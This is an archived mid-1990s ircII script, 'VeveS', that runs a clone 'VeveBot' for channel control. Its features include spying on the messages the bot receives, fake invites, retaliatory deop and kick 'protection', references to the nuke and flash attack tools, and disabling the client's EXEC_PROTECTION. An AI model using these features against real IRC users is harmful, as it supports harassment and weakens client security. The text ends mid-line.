home *** CD-ROM | disk | FTP | other *** search
Wrap
Text File | 2002-01-31 | 44.4 KB | 1,311 lines
# # \|/ Vassago's VeveS Script Version 1.25 (c) 1994,1995 \|/ # -=-=- by Vassago (Ryan Addams). Email: rowan@unix.mclv.net -=-=- # # \ He who forges images, he who bewitches / # / the malevolent aspect, the evil eye, \ # \ the malevolent lip, the finest sorcery... / # # This unusual little script has some extra stuff in it that may or may # not be useful to everyone. I've divided it into sections, use it as # you see fit. This is not a standalone script - everything should work # fine (I hope) with any other script (although I would prefer you use # PhoEniX, it is not necessary :) I've tried to use unique variables and # expressions, so that it will be compatible with any other script. # There are no backdoors in this script. This is guaranteed as long as # you get it directly from my FTP site at jcowan.reslife.okstate.edu or # unix.mclv.net, in /pub/irc/phoenix. # assign vs [VeveS] assign vbk | PhoEniX | assign nuke_pgm nuke assign flash_pgm flash assign ircdesc $HOME/.ircdesc EVAL echo $vs Loading VeveS Miscellanea Script Version 1.25 by Vassago. ### Standard Aliases alias nickonly {^assign FUNCTION_RETURN $left($index(! $0) $0)} alias safe {^assign FUNCTION_RETURN $strip(;#\(\)+*/\\=\{\}<>!$$%^~`,?|'\" $0-)} alias hostonly { ^assign hhost_tmp $0 ^assign FUNCTION_RETURN $right(${@hhost_tmp-index(@ $0)} $0) } alias pause2 { ^assign PAUSETEMP $"-+ Enter to Continue +-" ^assign -PAUSETEMP } ^set NOVICE OFF ^set EXEC_PROTECTION OFF ^set DCC_BLOCK_SIZE 2048 on ^dcc_raw "*" # alias your_host { EVAL Userhost $N -CMD if ([$3]) { ^assign ownadd $0!$3@$4 ^assign HOSTROOT $strip(~ $3) } {^timer 20 your_host} } assign Veves_Version VeveS v1.25 by Vassago ### FakeInvite Alias (by Vassago) alias FAKEINVITE { if ([$1]) { ^assign _tmp_invite $strip(# $1) ^assign _tmp_invite \#$_tmp_invite quote INVITE $0 $_tmp_invite echo $vs Fake invited $0 to channel $1\. ^assign -_tmp_invite } {/echo $vs Usage: /fakeinvite <nick> <channel>.} } ### Vassago's VeveBot Addition (by Vassago and CKeeper) alias veve { if (match($0 REPLY CREATE PROTECT NICK SAY MSG KILL HELP STATUS MODE KICK CTCP LEAVE JOIN SPY MODELOCK OP DEOP ANSWER BAN BKICK INV UNBAN JOINALL RECONNECT WINDOW SPYLEVEL NAMES ACT)) {/ve$0 $1-} {/echo $vs Try /VEVE HELP for a list of commands.} } assign not_online You do not have a VEVEBOT online. alias vbecho {/xecho -window VeveS [$toupper($VEVENICK)] $0-} assign VEVEPROTECT ON assign VEVENOISE ON assign VEVESPY ON assign VEVELEVEL NETSPLIT MSG CTCP MISC NOTICE assign VEVEWINDOW OFF assign VEVERECONNECT ON assign VEVEREPLY ON assign VEVEVERSION Running PhoEniX v2.25 by Vassago assign -VEVECHANNEL @ reconnect_time = 7 alias VS {/veSAY $0-} alias VM {/veMSG $0-} alias VC {/veCTCP $0-} alias VA {/veACT $0-} alias VMD {/veMODE $0-} alias VJ {/veJOIN $0-} alias VL {/veLEAVE $0-} alias VK {/veKICK $0-} alias VB {/veBAN $0-} alias VBK {/veBKICK $0-} alias VN {/veNICK $0} alias veHELP { echo $vs +--+ Commands to Control VeveBot: +-------------------------------+ echo $vs /VEVE CREATE <nick> <server> <userid> <desc> - Creates VeveBot. echo $vs /VEVE WINDOW - To toggle VeveBot windowing ON/OFF. This creates echo $vs a special window just for your VeveBot stuff. echo $vs /VEVE KILL <signoff message> - Deactivates your VeveBot. echo $vs /VEVE PROTECT - Toggles deop, ban, and kick Protection on/off. echo $vs /VEVE SPY - Toggles the SPY setting ON/OFF. To set spy levels, echo $vs \(what to spy on\), use /VEVE SPYLEVEL. echo $vs /VEVE SPYLEVEL - Brings up a prompt to set levels for VEVE SPY. echo $vs /VEVE SAY/VS <msg> - Says <msg> to current channel. echo $vs /VEVE MSG/VM <nick> <msg> - Sends <msg> to <nick>. echo $vs /VEVE CTCP/VC <nick> <msg> - Sends a CTCP <msg> to <nick>. echo $vs /VEVE ACT/VA <whatever> - Has VeveBot do a '/me whatever'. echo $vs /VEVE NOTICE <nick> <msg> - Sends a NOTICE to <nick>. echo $vs /VEVE NAMES <Channel> - Tells the names of people on <Channel>. echo $vs /VEVE MODE/VMD <new mode> - Changes the mode on the channel. echo $vs to <new mode>. Ex: /VEVE MODE +o Vassago, /VMD +nst. echo $vs /VEVE OP/DEOP <nick> - Has VeveBot OP or DEOP <nick1, 2, 3, 4...>. echo $vs /VEVE MODELOCK <mode lock> - Has VeveBot enforce <mode lock>. echo $vs /VEVE LEAVE/VL <channel> - Has VeveBot leave <channel>. pause2 echo $vs /VEVE JOIN/VJ <channel> - Has VeveBot join <channel>. echo $vs /VEVE NICK/VN <new nickname> - Changes VeveBot's nickname. echo $vs /VEVE STATUS - Shows you the VeveBot Status. echo $vs /VEVE INV <nick> - VeveBot will invite <nick> to your channel. echo $vs /VEVE KICK <nick> <msg> - Kicks <nick> off your current channel. echo $vs /VEVE BKICK/VBK <nick> - Kicks & bans <nick> from your channel. echo $vs /VEVE BAN/VB <nick> - Bans <nick> from your current channel. echo $vs /VEVE UNBAN <nick> - VeveBot will unban <nick> in the channel. echo $vs /VEVE JOINALL - VeveBot will join all of your current channels. echo $vs /VEVE REPLY - Toggles the VeveBot replying to PINGS and VERSIONS. echo $vs +-----------------------------------------------------------------+ } alias veSTATUS { if ([$VEVEBOT]==[ONLINE]) { vbecho My current online status: vbecho I am on server $VEVESERVER with nickname $VEVENICK\. if ([$VEVECHANNEL]!=[]) {/vbecho My current channel is $VEVECHANNEL\.} vbecho Protection status is currently $VEVEPROTECT\. vbecho Spying on MSGS and CTCPs is currently $VEVESPY\. vbecho VeveBot Windowing is currently $VEVEWINDOW\. vbecho Autoreconnect on closed server connection is $VEVERECONNECT\. if ([$v_mode_lock]) {/vbecho Mode lock status is currently $v_mode_lock\.} {/vbecho I am not currently enforcing any mode lock.} } {/echo $vs $not_online} } alias veBKICK { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { Userhost $0 -CMD if ([$4]!=[<UNKNOWN>]) { EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C -o+b $0 $nban($3 $4 *) //^dcc raw $VEVESOCKET $VEVESERVER KICK $C $0 :$vbk } {/vbecho I can't seem to find $0 on IRC.} } {/vbecho Who do you want me to BKICK from $C\?} } {/echo $vs $not_online} } alias veBAN { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { Userhost $0 -CMD if ([$4]!=[<UNKNOWN>]) { EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C -o+b $0 $nban($3 $4 *) } {/vbecho I can't seem to find $0 on IRC.} } {/vbecho Who do you want me to BAN on $C\?} } {/echo $vs $not_online} } alias veNICK { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { ^assign VEVENICK $0 //^dcc raw $VEVESOCKET $VEVESERVER NICK $0 vbecho My nickname has been changed to $0\. if ([$1]) {/veNICK $1-} } {/vbecho What nickname should I have?} } {/echo $vs $not_online} } alias veSAY { if ([$VEVEBOT]==[ONLINE]) { if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER PRIVMSG $VEVECHANNEL :$0-} {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER PRIVMSG $C :$0-} } {/echo $vs $not_online} } alias veNAMES { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER NAMES \#$strip(# $0)} { if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER NAMES $VEVECHANNEL} {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER NAMES \#$strip(# $0)} } } {/echo $vs $not_online} } alias veMODELOCK { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { ^assign v_mode_lock $0- vbecho I am now locking the mode: $v_mode_lock } { vbecho My mode lock is now cleared. \(Unlocked\). ^assign -v_mode_lock } } {/echo $vs $not_online} } alias veMSG { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { EVAL //^dcc raw $VEVESOCKET $VEVESERVER PRIVMSG $0 :$1- vbecho \(Message to $0\) $1- } {/vbecho Who do you want me to send a MSG to?} } {/echo $vs $not_online} } alias veNOTICE { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { EVAL //^dcc raw $VEVESOCKET $VEVESERVER NOTICE $0 :$1- vbecho \(Notice to $0\) $1- } {/vbecho Who do you want me to send a NOTICE to?} } {/echo $vs $not_online} } alias veCTCP { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { EVAL //^dcc raw $VEVESOCKET $VEVESERVER PRIVMSG $0 :$1- vbecho \(CTCP to $0\) $toupper($1) $2- } {/vbecho Who do you want me to send a CTCP to?} } {/echo $vs $not_online} } alias veACT { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER PRIVMSG $VEVECHANNEL :ACTION $0-\} {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER PRIVMSG $C :ACTION $0-\} } {/vbecho What do you want me to do?} } {/echo $vs $not_online} } alias veMODE { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVECHANNEL $0-} {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C $0-} } {/vbecho What do you want to change the mode to?} } {/echo $vs $not_online} } alias veOP { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVECHANNEL +ooo $0 $1 $2} {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C +ooo $0 $1 $2} if ([$3]) {/veOP $3-} } {/vbecho Who do you want me to OP?} } {/echo $vs $not_online} } alias veDEOP { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVECHANNEL -oo $0 $1} {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C -oo $0 $1} if ([$2]) {/veDEOP $2-} } {/vbecho Who do you want me to DEOP?} } {/echo $vs $not_online} } alias veJOIN { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { vbecho I am attempting to join channel #$strip(# $0)\. EVAL //^dcc raw $VEVESOCKET $VEVESERVER JOIN #$strip(# $0) } {/vbecho What channel should I join?} } {/echo $vs $not_online} } alias veJOINALL { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { vbecho I am attempting to join $mychannels()\. jointhem $mychannels() } } {/echo $vs $not_online} } alias jointhem { if ([$0]) {//^dcc raw $VEVESOCKET $VEVESERVER JOIN $0} if ([$1]) {/jointhem $1-} } alias veLEAVE { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { vbecho I am leaving channel \#$strip(# $0)\. EVAL //^dcc raw $VEVESOCKET $VEVESERVER PART \#$strip(# $0-) } { if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER PART $VEVECHANNEL} {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER PART $C} } } {/echo $vs $not_online} } alias veKICK { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { if ([$VEVECHANNEL]!=[]) { if ([$1]) {//^dcc raw $VEVESOCKET $VEVESERVER KICK $VEVECHANNEL $0 : $1- } {//^dcc raw $VEVESOCKET $VEVESERVER KICK $VEVECHANNEL $0 :$vbk} } { if ([$1]) {//^dcc raw $VEVESOCKET $VEVESERVER KICK $C $0 : $1- } {//^dcc raw $VEVESOCKET $VEVESERVER KICK $C $0 :$vbk} } } {/vbecho Who do you want me to kick from the channel?} } {/echo $vs $not_online} } alias veINV { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { if ([$1]) { EVAL //^dcc raw $VEVESOCKET $VEVESERVER INVITE $0 $1 vbecho I invited $0 to channel $1\. } { if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER INVITE $0 $VEVECHANNEL} {//^dcc raw $VEVESOCKET $VEVESERVER INVITE $0 $C} } } {/vbecho Format: /VEVE INV <nick> <#channel>} } {/echo $vs $not_online} } alias veUNBAN { if ([$VEVEBOT]==[ONLINE]) { if ([$0]) { Userhost $0 -CMD if ([$4]!=[<UNKNOWN>]) { ^assign vbans $strip(;#~- $0!$3@$4) ^assign -tounban ^on ^367 "*" { if (match($2 $vbans)) { ^assign tounban $2 ${tounban} } } if ([$VEVECHANNEL]!=[]) {//^mode $VEVECHANNEL +b} {//^mode $C +b} wait -cmd _veunban $tounban } {/vbecho I can't find $0 on IRC.} } {/echo $vs Usage: /VEVE UNBAN <nick>.} } {/echo $vs $not_online} } alias _veunban { if ([$VEVECHANNEL]==[]) {/veveunban $tounban} {/veveunban2 $tounban} ^assign -vbans ^on 367 - "*" } alias veveUNBAN { if ([$3]) { EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C -bbb $0 $1 $2 veveunban $3- } { if ([$2]) {EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C -bbb $0 $1 $2} { if ([$1]) {EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C -bb $0 $1} { if ([$0]) {EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C -b $0} } } } } alias veveUNBAN2 { if ([$3]) { EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVECHANNEL -bbb $0 $1 $2 veveunban $3- } { if ([$2]) {EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVECHANNEL -bbb $0 $1 $2} { if ([$1]) {EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVECHANNEL -bb $0 $1} { if ([$0]) {EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVECHANNEL -b $0} } } } } alias veKILL { if ([$VEVEBOT]==[ONLINE]) { ^assign -VEVEBOT if ([$0]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER QUIT :$0-} {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER QUIT :I'm outta here!} undoVEVES echo $vs Your VeveBot has been deactivated. } {/echo $vs $not_online} } alias veSPYLEVEL { echo $vs Available SPY Levels: MSG CTCP NOTICE PUBLIC MODE JOIN PART NETSPLIT MISC, or ALL. echo $vs Current setting: $VEVELEVEL\. if ([$0]) { if ([$0]==[ALL]) {^assign VEVELEVEL MSG CTCP NOTICE PUBLIC NETSPLIT MISC MODE JOIN PART} {^assign VEVELEVEL $0-} } { @ temp = [$"New Settings for SPY: "] if (temp!=[]) {@ VEVELEVEL = temp} {/echo $vs SPY Levels remain unchanged.} ^assign -temp if ([$VEVELEVEL]==[ALL]) {^assign VEVELEVEL MSG CTCP NOTICE PUBLIC NETSPLIT MISC MODE JOIN PART} } echo $vs SPY Levels set to: $VEVELEVEL\. } alias vePROTECT { if ([$VEVEPROTECT]==[ON]) {^assign VEVEPROTECT OFF} {^assign VEVEPROTECT ON} /echo $vs VeveBot Protection status is now $VEVEPROTECT\. } alias veREPLY { if ([$VEVEREPLY]==[ON]) {^assign VEVEREPLY OFF} {^assign VEVEREPLY ON} /echo $vs VeveBot replying to PINGS and VERSIONS is $VEVEREPLY\. } alias veSPY { if ([$VEVESPY]==[ON]) {^assign VEVESPY OFF} {^assign VEVESPY ON} /echo $vs VeveBot Spy status is now $VEVESPY\. } alias veRECONNECT { if ([$VEVERECONNECT]==[ON]) {^assign VEVERECONNECT OFF} {^assign VEVERECONNECT ON} /echo $vs VeveBot autoreconnect on closed connection is now $VEVERECONNECT\. } alias veCREATE { if ([$VEVEBOT]!=[ONLINE]) { if ([$0]!=[]) {@ VEVENICK = [$0]} { ^assign ask $"[VEVES] Bot Nickname? " if ([$ask]!=[]) {@ VEVENICK = [$ask]} ^assign -ask } if ([$1]!=[]) {@ VEVESERVER = [$1]} { ^assign ask $"[VEVES] Bot Server? " if ([$ask]!=[]) {@ VEVESERVER = [$ask]} ^assign -ask } if ([$2]!=[]) {@ VEVENICK = [$2]} { ^assign ask $"[VEVES] Bot Username? " if ([$ask]!=[]) {@ VEVENICK = [$ask]} ^assign -ask } if ([$3]!=[]) {@ VEVE_DESCR = [$3-]} { ^assign ask $"[VEVES] Bot IRCNAME? " if ([$ask]!=[]) {@ VEVE_DESCR = [$ask]} ^assign -ask } makeVEVE } {/echo $vs A VEVEBOT is already online. Type /VEVE KILL to disconnect.} } alias makeVEVE { /echo $vs Creating Vevebot $toupper($VEVENICK) on server $VEVESERVER\... ^set display OFF @ VEVESOCKET = connect($VEVESERVER 6667) ^set display ON if (VEVESOCKET > 0) { EVAL //^dcc raw $VEVESOCKET $VEVESERVER USER $VEVE_USER $VEVE_USER $VEVE_USER :$VEVE_DESCR EVAL //^dcc raw $VEVESOCKET $VEVESERVER NICK $VEVENICK EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVENICK +i if ([$C]!=0) {/EVAL ^timer 6 //^dcc raw $VEVESOCKET $VEVESERVER JOIN $C} doVEVES ^assign VeveBot ONLINE vbecho Attempting to connect to server $VEVESERVER\... vbecho If I am not online in 60 seconds, Type /VEVE KILL and try again. } {/echo $vs VeveBot could not connect to server $VEVESERVER\.} } alias veWINDOW { if ([$VEVEWINDOW]!=[ON]) { ^assign VEVEWINDOW ON ^clear ^window new ^window scroll on ^window shrink 6 ^window name VeveS ^set hold_mode off ^window goto 2 echo $vs VeveBot control window has been activated. } { ^assign VEVEWINDOW OFF clear ^window refnum VeveS wait -CMD window kill echo $vs VeveBot control window has been deactivated. } } alias doVEVES { EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % JOIN *" { if ([$nickonly($mid(1 $index($right(1 $3)) $3))]==[$VEVENICK]) { ^assign VEVECHANNEL $strip(: $5) ^assign VEVECHANNEL $left(${[$@VEVECHANNEL]-1} $VEVECHANNEL) if (([$VEVESPY!=[ON])||(!match(JOIN $VEVELEVEL))) {/vbecho I have successfully joined channel $strip(: $5)\.} } if ([$nickonly($mid(1 $index($right(1 $3)) $3))]==[$N]) {/EVAL //^dcc raw $0 $1 MODE $strip(: $5) +o $N} if (([$VEVESPY]==[ON])&&(match(JOIN $VEVELEVEL))) {/vbecho $nickonly($mid(1 $index($right(1 $3)) $3)) has joined channel $strip(: $5)\.} } EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % PART *" { if ([$nickonly($mid(1 $index($right(1 $3)) $3))]==[$VEVENICK]) {^assign -VEVECHANNEL} if (([$VEVESPY]==[ON])&&(match(PART $VEVELEVEL))) {/vbecho $nickonly($mid(1 $index($right(1 $3)) $3)) has left channel $strip(: $5)\.} } EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % MODE #*" { if (([$VEVESPY]==[ON])&&(match(MODE $VEVELEVEL))) {/vbecho Mode change \'$6-\' on channel $5 by $nickonly($mid(1 $index($right(1 $3)) $3))\.} if ((rmatch($6 *+o*))&&(rmatch($VEVENICK $7-))) { if (!ischanop($N $5)) {//^dcc raw $0 $1 MODE $5 +o $N} } if ((rmatch($6 *-o*))&&(rmatch($N $7-))) { if (([$nickonly($mid(1 $index($right(1 $3)) $3))]!=[$VEVENICK])&&([$VEVEPROTECT]==[ON])) { //^dcc raw $0 $1 MODE $5 -o+o $nickonly($mid(1 $index($right(1 $3)) $3)) $N vbecho DEOP protection activated on channel $5 by $nickonly($mid(1 $index($right(1 $3)) $3)) } } if ((rmatch($6 *+b*))&&(rmatch($OWNADD $7-))&&([$VEVEPROTECT]==[ON])) { ^assign BANNERNICK $nickonly($mid(1 $index($right(1 $3)) $3)) if (rmatch($OWNADD $7)) {//^dcc raw $VEVESOCKET $VEVESERVER MODE $5 -ob $BANNERNICK $7} if (rmatch($OWNADD $8)) {//^dcc raw $VEVESOCKET $VEVESERVER MODE $5 -ob $BANNERNICK $8} if (rmatch($OWNADD $9)) {//^dcc raw $VEVESOCKET $VEVESERVER MODE $5 -ob $BANNERNICK $9} if (rmatch($OWNADD $10)) {//^dcc raw $VEVESOCKET $VEVESERVER MODE $5 -ob $BANNERNICK $10} /vbecho BAN protection activated on channel $5 by $BANNERNICK\. ^assign -BANNERNICK } if ([$v_mode_lock]!=[]) {//^dcc raw $0 $1 MODE $5 $v_mode_lock} } EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % KICK % %*" { if ([$6]==[$VEVENICK]) { ^timer 1 //^dcc raw $0 $1 JOIN $5 if ([$strip(: $5)]!=[$C]) {/vbecho I was kicked from channel $5 by $nickonly($mid(1 $index($right(1 $3)) $3))} } if (([$6]==[$N])&&([$VEVEPROTECT]==[ON])) { //^dcc raw $0 $1 MODE $5 -o $nickonly($mid(1 $index($right(1 $3)) $3)) EVAL ^timer 1 //^dcc raw $0 $1 INVITE $N $5 vbecho KICK protection activated on channel $5\. } } EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % PRIVMSG % :*" { if (([$VEVESPY]==[ON])&&(match(MSG $VEVELEVEL))) {/vbecho \(MSG from $nickonly($mid(1 $index($right(1 $3)) $3))\) $mid(1 $index($right(1 $6)) $6) $7-} } EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % PRIVMSG #% :*" { if (([$VEVESPY]==[ON])&&(match(PUBLIC $VEVELEVEL))) {/vbecho \<$nickonly($mid(1 $index($right(1 $3)) $3))\> $mid(1 $index($right(1 $6)) $6) $7-} } EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % INVITE % :*" { if (([$VEVESPY]==[ON])&&(match(MISC $VEVELEVEL))) { if ([$nickonly($mid(1 $index($right(1 $3)) $3))]==[$N]) {//^dcc raw $VEVESOCKET $VEVESERVER JOIN $strip(: $6)} vbecho I have been invited to $strip(: $6) by $nickonly($mid(1 $index($right(1 $3)) $3))\. } } EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % *" { if ([$VEVESPY]==[ON]) { ^assign justnick $nickonly($mid(1 $index($right(1 $3)) $3)) if (([$4]==[NOTICE])&&(match(NOTICE $VEVELEVEL))) {/vbecho \(NOTICE from $justnick\) $strip(: $6) $7-} if ([$4]==[QUIT]) { if ((rmatch($5 *.*))&&(rmatch($6 *.*))) { if ([$6]!=[$veve_split]) { if (match(NETSPLIT $VEVELEVEL)) {/vbecho Netsplit detected: $6} ^assign veve_split $6 } } { if (match(PUBLIC $VEVELEVEL)) {/vbecho Signoff: $justnick \($strip(: $5-)\)} } } } } EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % PRIVMSG % :***" { if ([$VEVESPY]==[ON]) { if (match(CTCP $VEVELEVEL)) { if ([$strip(: $strip( $6))]!=[ACTION]) {/vbecho CTCP \($strip(: $strip( $6-))\) from $nickonly($mid(1 $index($right(1 $3)) $3)) to $5\.} } { if (match(PUBLIC $VEVELEVEL)) {/vbecho * $nickonly($mid(1 $index($right(1 $3)) $3)) $strip( $7-)} } } } EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % PRIVMSG % :*****" # EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % PRIVMSG % :**:VER**" { if (([$strip(: $strip( $6))]!=[ACTION])&&([$VEVESPY]==[ON])&&(match(CTCP $VEVELEVEL))) {/vbecho CTCP VERSION from $nickonly($mid(1 $index($right(1 $3)) $3)) to $5\.} if ([$VEVEREPLY]==[ON]) {//^dcc raw $0 $1 NOTICE $nickonly($mid(1 $index($right(1 $3)) $3)) :VERSION $VEVEVERSION\} } EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % PRIVMSG % :**:PING**" { if (([$strip(: $strip( $6))]!=[ACTION])&&([$VEVESPY]==[ON])&&(match(CTCP $VEVELEVEL))) {/vbecho $nickonly($mid(1 $index($right(1 $3)) $3)) has pinged me.} if ([$VEVEREPLY]==[ON]) {//^dcc raw $0 $1 NOTICE $nickonly($mid(1 $index($right(1 $3)) $3)) :PING $time()\} } EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D *PIN*" {//^dcc raw $0 $1 PONG :$1} EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 433 % % :*" { EVAL ^assign VEVENICK $randcrap(1)$VEVENICK vbecho Nickname $6 is already in use. Trying nick $VEVENICK\. ^assign VEVENICK V$VEVENICK EVAL //^dcc raw $VEVESOCKET $VEVESERVER NICK $VEVENICK } EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER C*" { undoveves ^assign -VeveBot vbecho I have been disconnected by server $1\. if ([$VEVERECONNECT]==[ON]) { vbecho Reconnecting in $reconnect_time seconds... EVAL ^timer $reconnect_time makeVEVE } {/echo $vs Reconnecting is OFF. Type /VEVE CREATE to create a new bot.} } EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 473 % % :*" {/vbecho Unable to join channel $6 \(Invite Only\)} EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 471 % % :*" {/vbecho Unable to join channel $6 \(Full\)} EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 474 % % :*" {/vbecho Unable to join channel $6 \(Banned\)} EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 401 % % :*" {/vbecho Server: $strip( $strip(: $6\, $7-))} EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 406 % % :*" {/vbecho Server: $strip( $strip(: $6\, $7-))} EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 404 % % :*" {/vbecho Server: $strip( $strip(: \($6\) $7-))} EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 482 % % :*" {/vbecho Server: $strip( $strip(: \($6\) $7-))} EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 353 *" { if (([$VEVESPY]==[ON])&&(match(MISC $VEVELEVEL))) {/vbecho Users on $7\: $strip( $strip(: $8-))} } EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D ERROR :*" {/vbecho Server: $strip(: $4) $5-} EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D 332 % % :*" { if (([$VEVESPY]==[ON])&&(match(MISC $VEVELEVEL))) {/vbecho TOPIC for channel $6\: $strip(: $7-)} } } alias undoveves { EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % *" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % JOIN *" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % MODE #*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % KICK % %*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % INVITE % :*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % PRIVMSG #% :*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % PRIVMSG % :**:VER**" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % PRIVMSG % :**:PING**" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % PRIVMSG % :*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % PRIVMSG % :*****" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % PRIVMSG % :***" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D *PIN*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 433 % % :*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 473 % % :*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 471 % % :*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 474 % % :*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 401 % % :*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 406 % % :*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 404 % % :*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 482 % % :*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 353 *" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D 332 % % :*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D ERROR :*" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % PART *" EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER C*" } ### Ban functions from PhoEniX 2.25 by Vassago, Used in the VeveBots alias nban @function_return= [$2!]##fixname($0 $2)##[@]##fixdomain($1 $2) alias fixhost { if (index(. $0)==rindex(. $0)) {@ function_return= [$1] ## [$0]} {@ function_return= [$0]} } alias fixname { if (rmatch($0 ?? ?)) {@ function_return= [$1]} {@ function_return= [$1] ## mid(1 99 $0)} } alias fixdomain { if (index(. $0)!=rindex(. $0)) { if (is_ip($0)) {@ function_return= left($rindex(. $0) $0) ## [.$1]} {@ function_return= [$1$mid($index(. $0) 99 $0)]} } {@ function_return= [$1$0]} } alias is_ip { if ((right(1 $0) >= [0]) && (right(1 $0) <= [9])) {@ function_return= [1]} {@ function_return= [0]} } ### CTCP LOOK (by Vassago and Acidflux) assign LOOKVIEW ON alias LOOK { if ([$0]) {/CTCP $0 VEVES lookdesc} {/CTCP $C VEVES lookdesc} } alias LOOKVIEW { if ([$LOOKVIEW]==[ON]) {^assign LOOKVIEW OFF} {^assign LOOKVIEW ON} echo $vs CTCP .ircdesc LOOKing is now $LOOKVIEW\. } on ^ctcp "% % VEVES lookdesc" { if ([$DESCHOST]==[]) { ^assign DESCHOST $hostonly($safe($Userhost())) if ([$DESCHOST]!=[$LASTDESC]) { if 